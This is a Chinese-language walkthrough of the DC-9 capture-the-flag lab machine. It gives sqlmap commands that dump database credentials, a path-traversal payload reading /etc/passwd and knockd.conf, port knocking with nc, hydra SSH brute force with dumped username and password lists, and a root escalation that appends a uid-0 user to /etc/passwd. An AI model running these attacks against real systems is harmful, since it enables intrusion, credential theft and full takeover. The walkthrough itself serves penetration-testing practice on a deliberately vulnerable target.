当前位置:   article > 正文

DC-9靶场下载及渗透实战详细过程(DC靶场系列)

dc靶场

目录

一. 信息收集

1. 主机扫描

2. 端口扫描

3. 目录扫描

4. 页面探测

二. 渗透过程

1. SQL注入

2. 登入后台

3. 端口敲门服务

4. ssh爆破

5. 提权

三. 收获总结

1. openssl命令

2. Linux系统下的引号


 DC-9靶场下载地址https://www.five86.com/downloads/DC-9.zip

一. 信息收集

1. 主机扫描

2. 端口扫描

注意到ssh服务端口是filtered的,可能是什么原因给关掉了

3. 目录扫描

dirsearch -u 192.168.120.144 -e * -x 403 --random-agent

4. 页面探测

测试发现,Search页面搜索存在SQL注入

二. 渗透过程

1. SQL注入

知道注入点,接下来上sqlmap跑,POST传参search,爆库

sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' --current-db

爆表

sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -tables

爆字段

sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -T 'Users' -columns

爆值

sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -T 'Users' -C 'Username,Password,UserID' -dump

只有一位用户,还有密码,这密码一看就是md5,接下来找个在线网站解密md5在线加密解密

得到密码transorbital1

2. 登入后台

接着用该密码登入后台

就多了个Add Record界面,注意到下面有File does not exist,想到是程序引用或读取了一个不存在的文件才会回显这个,接着用参数fuzz测试一下,fuzz字典连接web渗透通用fuzz字典(小而精)

burpsuite抓包,构建payload

?§§=../../../../../etc/passwd

然后再把我们的参数字典加载进来

参数名是file,存在任意文件读取漏洞

3. 端口敲门服务

考虑到ssh端口是关闭的,可能是开启了knock服务(参考端口敲门服务),利用文件包含确认一下,一般开启了knock服务就会存在/etc/knockd.conf文件

构造payload

/addrecord.php?file=../../../../../etc/knockd.conf

果然有,开启ssh服务得依次敲击7469,8475,9842端口,利用netcat进行敲击

nc -z 192.168.120.144 7469 8475 9842

敲击完后发现端口打开了

4. ssh爆破

无奈测试了一下admin登不上去,想起之前SQLmap跑出过一个users的数据库

 存放网站用户信息的,我们去瞧一下

sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'users' -dump

用这些账号密码组成字典,爆破ssh

username.txt

  1. marym
  2. julied
  3. fredf
  4. barneyr
  5. tomc
  6. jerrym
  7. wilmaf
  8. bettyr
  9. chandlerb
  10. joeyt
  11. rachelg
  12. rossg
  13. monicag
  14. phoebeb
  15. scoots
  16. janitor
  17. janitor2

password.txt

  1. 3kfs86sfd
  2. 468sfdfsd2
  3. 4sfd87sfd1
  4. RocksOff
  5. TC&TheBoyz
  6. B8m#48sd
  7. Pebbles
  8. BamBam01
  9. UrAG0D!
  10. Passw0rd
  11. yN72#dsd
  12. ILoveRachel
  13. 3248dsds7s
  14. smellycats
  15. YR3BVxxxw87
  16. Ilovepeepee
  17. Hawaii-Five-0

接下来用九头蛇进行爆破

hydra -L username.txt -P password.txt ssh://192.168.120.144

爆破出了三个用户

  1. chandlerb:UrAG0D!
  2. joeyt:Passw0rd
  3. janitor:Ilovepeepee

尝试登入发现janitor用户有东西

  1. ls -la
  2. cd .s*
  3. cat *

有几个密码,复制到刚才的password文件继续爆破ssh

password.txt

  1. BamBam01
  2. Passw0rd
  3. smellycats
  4. P0Lic#10-4
  5. B4-Tru3-001
  6. 4uGU5T-NiGHts

爆破出了一个新用户

fredf:B4-Tru3-001

发现有个root权限文件

5. 提权

test文件打开是一堆乱码,应该是一个程序

在上两级目录发现test.py文件还有test.spec文件,所以后面目录下的test程序应该就是根据test.py文件写的(额,可以理解为C语言写的一个exe程序吧!?),我们打开文件看一下test程序是干嘛的

  1. #!/usr/bin/python
  2. import sys
  3. if len (sys.argv) != 3 :
  4. print ("Usage: python test.py read append")
  5. sys.exit (1)
  6. else :
  7. f = open(sys.argv[1], "r")
  8. output = (f.read())
  9. f = open(sys.argv[2], "a")
  10. f.write(output)
  11. f.close()

该脚本的意思是打开用户输入的第二个文件,将第二个文件的内容追加保存到第三个文件里面,也就是说如果有命令是test.py a.txt b.txt,就会将a.txt的文件内容保存到b.txt里面

我们可以根据任意文件写入的操作,去新添加一个root权限的用户,达到提权的效果,跟DC-4靶场一样的操作,只不过得添加一个有密码的用户,事先参考/etc/passwd解释

先利用openssl命令创建一个密码

openssl passwd -1 -salt <用户名> <密码>

openssl passwd -1 -salt hack hack

得到hash密码,$1$hack$xR6zsfvpez/t8teGRRSNr.

接着到tmp目录新建一个文件

  1. cd /tmp
  2. echo 'hack:$1$hack$xR6zsfvpez/t8teGRRSNr.:0:0::/root:/bin/bash' > hack

 再回到/opt/devstuff/dist/test目录,执行程序test,将hack的文件内容写入到/etc/passwd文件里面

  1. cd /opt/devstuff/dist/test
  2. sudo ./test /tmp/hack /etc/passwd

可以看到hack用户已经添加到/etc/passwd文件里了,接下来切换用户

su hack

输入密码hack 

在root目录下找到flag

三. 收获总结

1. openssl命令

openssl是个密文生成器, 参考openssl命令详解,如生成Linux系统的密文可以用命令

openssl passwd -1 -salt <用户名> <密码>

2. Linux系统下的引号

单引号会自动对字符进行转义,双引号不会对字符进行转义,不明白很容易就吃了echo的亏,参考Linux系统下的引号

声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号